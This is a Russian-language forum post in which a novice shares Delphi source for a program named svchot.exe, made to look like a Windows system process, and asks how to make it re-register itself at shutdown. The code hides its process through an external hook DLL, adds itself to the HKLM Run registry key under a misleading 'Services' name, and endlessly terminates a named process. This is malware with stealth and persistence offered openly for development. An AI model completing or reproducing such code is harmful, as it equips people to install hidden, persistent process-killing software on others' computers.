Всем привет
Извените кодеры меня такого ламерюгу за просьбу помочь.
Прошу на …… не посылать.
И вообще для какого х… форумы делают?
Ниже буквы.
Давай зажжом бродяги свечи за тех кому недано.
program svchot;
{$R-}
{$S-}
{$A+}
uses
TL, //TlHelp32
win, //windоws
sys, //sysutils
reg; //registry
{===============================================================================}
function StelsProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL;
stdcall; external ''Hook.dll'';
{===============================================================================}
Procedure Run;
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(''Software\Microsoft\windоws\CurrentVersion\Run'',false);
reg.WriteString(''Services'', ''C:\windоws\system32\svchot.exe'');
reg.CloseKey;
reg.free;
end;
{===============================================================================}
function Close(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName)))
then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
{===============================================================================}
begin
StelsProcess(GetCurrentProcessId, false);
Run;
while (true) do
begin
sleep(200);
Close(''Çàäîëáèòü íàõ âñåõ!'')
end;
end;
end.
Вообщем помогите мне сделать так чтоб при завершение форточек му беспонт exe прописывался
в реестр.
С формой беспроблем.
Спасибо за внемание!
|
Не материть - 
